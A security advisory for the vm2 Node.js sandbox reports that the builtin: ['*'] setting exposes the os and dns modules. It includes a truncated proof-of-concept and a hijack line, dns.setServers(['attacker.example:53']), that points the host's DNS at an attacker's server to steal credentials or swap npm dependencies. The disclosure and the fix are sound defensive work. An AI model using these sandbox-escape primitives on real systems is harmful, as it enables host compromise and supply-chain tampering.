vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)

03 · The fix

Upgrade to 3.11.6

Summary

GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding diagnostics_channel, async_hooks, perf_hooks, and v8 to DANGEROUS_BUILTINS in lib/builtin.js. The fix's rationale (in the commit message and docs/ATTACKS.md Category 35) is general:

Process-wide observability builtins. Unlike most Node builtins, these expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.

Two builtins satisfying the same description were not added: os and dns. Both are reachable today under the documented builtin: ['*'] configuration; both expose host-process state that the vm.readonly() proxy cannot localise; and both have write APIs that mutate global host-process state from the sandbox (os.setPriority(), dns.setServers(), dns.setDefaultResultOrder()). dns.setServers() in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.

Adding os and dns to DANGEROUS_BUILTINS extends the same fix to the rest of the class. The existing isDangerousBuiltin(key) family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches node:os, node:dns, and node:dns/promises once the family names are present.

Affected

• vm2 v3.11.5 (current package.json version on main) and the unreleased [3.11.4] slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.
• All NodeVM configurations that expand the builtin allowlist via '*' (the documented "full builtins" pattern) and have not manually appended -os, -dns exclusions — which is the recommended config in README and the test fixtures.
• Reproduced on Node v22.12.0 with HEAD 7a1f510 of the audit checkout.

Vulnerability details

[A] — Source: the '*' wildcard expansion includes os and dns

lib/builtin.js:166-167:

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s));

isDangerousBuiltin resolves the current DANGEROUS_BUILTINS set (lib/builtin.js:83-139):

const DANGEROUS_BUILTINS = new Set([
    'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
    'trace_events', 'wasi',
    // GHSA-9g8x-92q2-p28f:
    'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8'
]);

os and dns are absent. Under builtin: ['*'] they are admitted into the user-visible builtin map and loaded via the default vm.readonly(hostRequire(key)) path (lib/builtin.js:230):

builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));

The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for v8/perf_hooks.

[B] — os: host-process READS the bridge cannot localise

os.userInfo() returns the host process owner (uid, gid, username, homedir, shell). os.networkInterfaces() returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. os.hostname() returns the host deployment identity. os.loadavg() / os.uptime() / os.freemem() / os.totalmem() expose host-wide telemetry.

The data source is the host kernel and the host process — the sandbox's vm.readonly() proxy cannot make these calls "sandbox-local" any more than it can for perf_hooks.performance.getEntriesByType('mark'). Same class as the four builtins GHSA-9g8x added.

[C] — os: host-process WRITE via os.setPriority()

os.setPriority([pid, ]priority) invokes setpriority(2) on the host process. With pid = 0 (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.

Strictly worse than the read-only v8 / perf_hooks family because it's a mutation of host state, not just an observation.

[D] — dns: host-process READS

dns.lookup(hostname, cb) and dns.resolve(hostname, cb) perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.

dns.getServers() reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.

[E] — dns: host-process WRITE via dns.setServers() — the strongest primitive

dns.setServers(['attacker.example:53']) replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, fs URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:

• Return 127.0.0.1 for any external hostname and steal whatever the host POSTs to it (credentials, tokens).
• Return an attacker-controlled IP for registry.npmjs.org to swap dependencies on the next install.
• Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.
• Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.

The attacker primitive is one synchronous line of sandbox code. There is no rate limit, no audit trail, no notification to the embedder. Symmetric dns.setDefaultResultOrder(order) is a second process-wide write knob that lets the sandbox flip 'ipv4first' ↔ 'verbatim', mainly useful as a chaining helper.

dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUS_BUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.

Proof of concept

test-poc.js (run from the vm2 checkout root):

const {NodeVM} = require('./');

// --- [B] / [C] — os reads + write ---
{
  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
  const r = vm.run(`
    const os = require('os');
    const before = os.getPriority();
    os.setPriority(10);                 // mutates host process nice value
    module.exports = {
      userInfo: os.userInfo(),          // uid/gid/username/hom